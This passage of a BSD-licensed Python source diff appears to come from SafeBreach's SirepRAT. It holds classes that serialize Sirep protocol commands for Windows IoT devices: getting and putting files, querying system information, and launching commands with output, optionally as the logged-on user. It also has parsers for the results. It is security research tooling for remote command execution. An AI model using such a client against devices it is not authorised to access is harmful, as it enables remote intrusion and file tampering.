FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Concrete implementation of the GetFileFromDevice command
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
import struct
import common.utils as utils
from SirepCommand import SirepCommand
from common.constants import INT_SIZE
from common.enums.CommandType import CommandType
class GetFileFromDeviceCommand(SirepCommand):
"""Concrete implementation of the GetFileFromDevice command"""
def __init__(self, remote_path):
"""Described in parent class"""
super(GetFileFromDeviceCommand, self).__init__(CommandType.GetFileFromDevice)
self.remote_path = remote_path
self.payload_length = self._calculate_payload_length()
def _calculate_payload_length(self):
"""
Returns the payload length of the command.
The payload length for this command type is the unicode length of the remote path.
"""
return len(self.remote_path) * 2
def serialize_sirep(self):
"""Described in parent class"""
serialized = ""
# serialize the command global headers
serialized += struct.pack("II", self.command_type.value, self.payload_length)
# serialize the remote path parameter
serialized += utils.pack_string(self.remote_path)
return serialized
@staticmethod
def deserialize_sirep(self, command_buffer):
"""Described in parent class"""
remote_path = utils.unpack_string(command_buffer[INT_SIZE * 2:])
return GetFileFromDeviceCommand(remote_path)
@@ -0,0 +1,77 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Concrete implementation of the GetFileInformationFromDevice command
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
import struct
import common.utils as utils
from SirepCommand import SirepCommand
from common.constants import INT_SIZE
from common.enums.CommandType import CommandType
class GetFileInformationFromDeviceCommand(SirepCommand):
"""Concrete implementation of the GetFileInformationFromDevice command"""
def __init__(self, remote_path):
"""Described in parent class"""
super(GetFileInformationFromDeviceCommand, self).__init__(CommandType.GetFileInformationFromDevice)
self.remote_path = remote_path
self.payload_length = self._calculate_payload_length()
def _calculate_payload_length(self):
"""
Returns the payload length of the command.
The payload length for this command type is the unicode length of the remote path.
"""
return len(self.remote_path) * 2
def serialize_sirep(self):
"""Described in parent class"""
serialized = ""
# serialize the command global headers
serialized += struct.pack("II", self.command_type.value, self.payload_length)
# serialize the remote path parameter
serialized += utils.pack_string(self.remote_path)
return serialized
@staticmethod
def deserialize_sirep(self, command_buffer):
"""Described in parent class"""
remote_path = utils.unpack_string(command_buffer[INT_SIZE * 2:])
return GetFileInformationFromDeviceCommand(remote_path)
@@ -0,0 +1,49 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Concrete implementation of the GetSystemInformationFromDevice command
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
from SirepCommand import SirepCommand
from common.enums.CommandType import CommandType
class GetSystemInformationFromDeviceCommand(SirepCommand):
"""Concrete implementation of the GetSystemInformationFromDevice command"""
def __init__(self):
"""Described in parent class"""
super(GetSystemInformationFromDeviceCommand, self).__init__(
CommandType.GetSystemInformationFromDevice)
@@ -0,0 +1,117 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Concrete implementation of the LaunchCommandWithOutput command
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
import struct
import common.utils as utils
from SirepCommand import SirepCommand
from common.constants import TRUE_FLAG_STRINGS, INT_SIZE
from common.enums.CommandType import CommandType
class LaunchCommandWithOutputCommand(SirepCommand):
"""Concrete implementation of the LaunchCommandWithOutput command"""
COMMAND_LINE_OFFSET = 0x24
SEPERATOR_OFFSET = 0x28
HEADERS_LENGTH = 0x9
IMPERSONATE_LOGGED_ON_USER_PREFIX = "<AS_LOGGED_ON_USER>"
def __init__(self,
return_output_flag,
command_line_string,
as_logged_on_user=False,
parameters_string="",
base_directory_path=""):
"""Described in parent class"""
super(LaunchCommandWithOutputCommand, self).__init__(
CommandType.LaunchCommandWithOutput)
self.return_error_flag = 1 # always return error stream
self.return_output_flag = int(return_output_flag)
self.command_line_string = command_line_string
self.parameters_string = utils.moustache_to_env_var(parameters_string)
self.base_directory_path = base_directory_path
self.as_logged_on_user = True if str(as_logged_on_user).lower() in TRUE_FLAG_STRINGS else False
if self.as_logged_on_user:
self.command_line_string = \
LaunchCommandWithOutputCommand.IMPERSONATE_LOGGED_ON_USER_PREFIX + self.command_line_string
self.payload_length = self._calculate_payload_length()
def _calculate_payload_length(self):
"""
Returns the payload length of the command.
The payload length for this command type is the unicode length of the remote path.
"""
return len(self.command_line_string) * 2 + \
len(self.parameters_string) * 2 + \
len(self.base_directory_path) + LaunchCommandWithOutputCommand.HEADERS_LENGTH * INT_SIZE
def serialize_sirep(self):
"""Described in parent class"""
serialized = ""
serialized += struct.pack("II", self.command_type.value, self.payload_length)
serialized += struct.pack("II", self.return_error_flag, self.return_output_flag)
command_line_offset = LaunchCommandWithOutputCommand.COMMAND_LINE_OFFSET
serialized += struct.pack("II", command_line_offset, len(self.command_line_string) * 2)
parameters_offset = command_line_offset + len(self.command_line_string) * 2
serialized += struct.pack("II", parameters_offset, len(self.parameters_string) * 2)
base_directory_path_offset = parameters_offset + len(self.parameters_string) * 2
serialized += struct.pack("II", base_directory_path_offset, len(self.base_directory_path) * 2)
serialized += struct.pack("I", 0)
serialized += utils.pack_string(self.command_line_string)
serialized += utils.pack_string(self.parameters_string)
serialized += utils.pack_string(self.base_directory_path)
serialized
return serialized
@staticmethod
def deserialize_sirep(self, command_buffer):
"""Described in parent class"""
command_type, payload_length = struct.unpack("II", command_buffer[:8])
return_error_flag, return_output_flag = struct.unpack("II", command_buffer[8:16])
command_line_offset, command_line_length = struct.unpack("II", command_buffer[16:24])
parameters_offset, parameters_length = struct.unpack("II", command_buffer[24:32])
base_directory_offset, base_directory_length = struct.unpack("II", command_buffer[32:40])
command_line_offset = LaunchCommandWithOutputCommand.SEPERATOR_OFFSET + INT_SIZE
command_line_string = utils.unpack_string(command_buffer[44:])
parameters_offset = command_line_offset + INT_SIZE + len(command_line_string) * 2
parameters_string = utils.unpack_string(command_buffer[parameters_offset:])
base_directory_offset = parameters_offset + INT_SIZE + len(parameters_string) * 2
base_directory_path = utils.unpack_string(command_buffer[base_directory_offset:])
raise NotImplementedError()
+73
View File
@@ -0,0 +1,73 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Concrete implementation of the PutFileOnDevice command
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
import struct
import common.utils as utils
from SirepCommand import SirepCommand
from common.enums.CommandType import CommandType
from common.constants import INT_SIZE
from common.enums.WriteRecordType import WriteRecordType
class PutFileOnDeviceCommand(SirepCommand):
def __init__(self, remote_path, data=""):
super(PutFileOnDeviceCommand, self).__init__(CommandType.PutFileOnDevice)
self.remote_path = remote_path
self.data = data
self.write_record_type = WriteRecordType.RegularChunk
self.data_length = len(data) * 2
self.payload_length = self._calculate_payload_length()
def _calculate_payload_length(self):
return len(self.remote_path) * 2
def serialize_sirep(self):
serialized = ""
serialized += struct.pack("II", self.command_type.value, self.payload_length)
serialized += utils.pack_string(self.remote_path)
serialized += struct.pack("II", self.write_record_type.value, self.data_length)
serialized += utils.pack_string(self.data)
return serialized
@staticmethod
def deserialize_sirep(self, command_buffer):
command_type, payload_length = struct.unpack("II", command_buffer[:INT_SIZE * 2])
remote_path = utils.unpack_string(command_buffer[INT_SIZE * 2:])
data = utils.unpack_string(command_buffer[INT_SIZE * 2 + INT_SIZE + len(remote_path) * 2:])
return PutFileOnDeviceCommand(remote_path, data)
+80
View File
@@ -0,0 +1,80 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Base class for all Sirep commands
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
import struct
from pprint import pformat
class SirepCommand(object):
"""Base class for all Sirep commands"""
def __init__(self, command_type):
"""Initializes the command buffer representation"""
self.command_type = command_type
self.payload_length = 0
def get_command_type(self):
"""Returns the command type (type CommandType)"""
return self.command_type
def serialize_sirep(self):
"""
Returns the serialzed string of the instance.
Serialization is done according to the Sirep protocol.
"""
return struct.pack("II", self.command_type.value, self.payload_length)
@staticmethod
def deserialize_sirep(self, command_buffer):
"""
A factory for SirepCommand instances.
Instances are built from the given binary command buffer.
"""
command_type, payload_length = struct.unpack("II", command_buffer)
return SirepCommand(command_type)
def __repr__(self):
"""Returns the instance's representation"""
return pformat(self.__dict__)
def __str__(self):
"""Returns the instance's string representation"""
return "<SirepCommand | type: %s, payload length: %s>" % (
self.command_type, self.payload_length)
+52
View File
@@ -0,0 +1,52 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-08-19 08:03:08
"""
from GetFileFromDeviceCommand import GetFileFromDeviceCommand
from GetFileInformationFromDeviceCommand import GetFileInformationFromDeviceCommand
from GetSystemInformationFromDeviceCommand import GetSystemInformationFromDeviceCommand
from LaunchCommandWithOutputCommand import LaunchCommandWithOutputCommand
from PutFileOnDeviceCommand import PutFileOnDeviceCommand
from SirepCommand import SirepCommand
__all__ = [
"SirepCommand",
"LaunchCommandWithOutputCommand"
"PutFileOnDeviceCommand",
"GetFileFromDeviceCommand",
"GetFileInformationFromDeviceCommand",
"GetSystemInformationFromDeviceCommand",
]
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Concrete implementation of the ErrorStream result
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
from SirepResult import SirepResult
from common.constants import INT_SIZE
class ErrorStreamResult(SirepResult):
"""Concrete implementation of the ErrorStream result"""
def __init__(self, raw_data, data_size=None):
"""Described in parent class"""
super(ErrorStreamResult,
self).__init__(raw_data, data_size=len(raw_data) - INT_SIZE)
def __str__(self):
"""Described in parent class"""
return "<ErrorStreamResult | type: %s, payload length: %s, payload peek: '%s'>" % (
self.result_type, self.payload_length, self._get_payload_peek())
+82
View File
@@ -0,0 +1,82 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Concrete implementation of the FileInformation result
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
import struct
import common.utils as utils
from SirepResult import SirepResult
from common.constants import FILE_INFORMATION_SIZE
class FileInformationResult(SirepResult):
"""Concrete implementation of the FileInformation result"""
def __init__(self, raw_data):
"""Described in parent class"""
super(FileInformationResult,
self).__init__(raw_data, data_size=FILE_INFORMATION_SIZE)
@staticmethod
def _parse_payload_to_kv(result_payload):
"""Described in parent class"""
kv = super(FileInformationResult,
FileInformationResult)._parse_payload_to_kv(result_payload)
HResult, \
kv['dwFileAttributes'], \
nFileSizeLow, \
nFileSizeHigh, \
dwLowDateTime_Created, \
dwHighDateTime_Created, \
dwLowDateTime_LastAccess, \
dwHighDateTime_LastAccess, \
dwLowDateTime_LastWrite, \
dwHighDateTime_LastWrite = \
struct.unpack("IIIIIIIIII", result_payload[:FILE_INFORMATION_SIZE])
if HResult == 0x0:
kv['file_size'] = utils.windows_low_high_to_int(nFileSizeLow, nFileSizeHigh)
kv['time_created'] = utils.windows_filetime_to_string(dwLowDateTime_Created, dwHighDateTime_Created)
kv['time_last_access'] = utils.windows_filetime_to_string(dwLowDateTime_LastAccess,
dwHighDateTime_LastAccess)
kv['time_last_write'] = utils.windows_filetime_to_string(dwLowDateTime_LastWrite, dwHighDateTime_LastWrite)
kv['HResult'] = hex(HResult)
return kv
def __str__(self):
"""Described in parent class"""
return "<FileInformationResult | type: %s, payload length: %s, kv: %s>" % (
self.result_type, self.payload_length, str(self.parsed_kv))
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Concrete implementation of the File result
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
from SirepResult import SirepResult
from common.constants import INT_SIZE
class FileResult(SirepResult):
"""Concrete implementation of the File result"""
def __init__(self, raw_data):
"""Described in parent class"""
super(FileResult,
self).__init__(raw_data, data_size=len(raw_data) - INT_SIZE)
def __str__(self):
"""Described in parent class"""
return "<FileResult | type: %s, payload length: %s, payload peek: '%s'>" % (
self.result_type, self.payload_length, self._get_payload_peek(size=50))
+64
View File
@@ -0,0 +1,64 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Concrete implementation of the HResult result
Author: Dor Azouri <dor.azouri@safebreach.com>
Date: 2018-02-04 08:03:08
"""
import struct
from SirepResult import SirepResult
from common.constants import INT_SIZE
class HResultResult(SirepResult):
"""Concrete implementation of the HResult result"""
def __init__(self, raw_data):
"""Described in parent class"""
super(HResultResult,
self).__init__(raw_data, data_size=INT_SIZE)
@staticmethod
def _parse_payload_to_kv(result_payload):
"""Described in parent class"""
kv = super(HResultResult,
HResultResult)._parse_payload_to_kv(result_payload)
kv['HResult'] = struct.unpack("I", result_payload[:INT_SIZE])[0]
return kv
def __str__(self):
"""Described in parent class"""
return "<HResultResult | type: %s, payload length: %s, HResult: %s>" % (
self.result_type, self.payload_length, hex(self.parsed_kv['HResult']))
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env python
"""
BSD 3-Clause License
Copyright (c) 2017, SafeBreach Labs
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
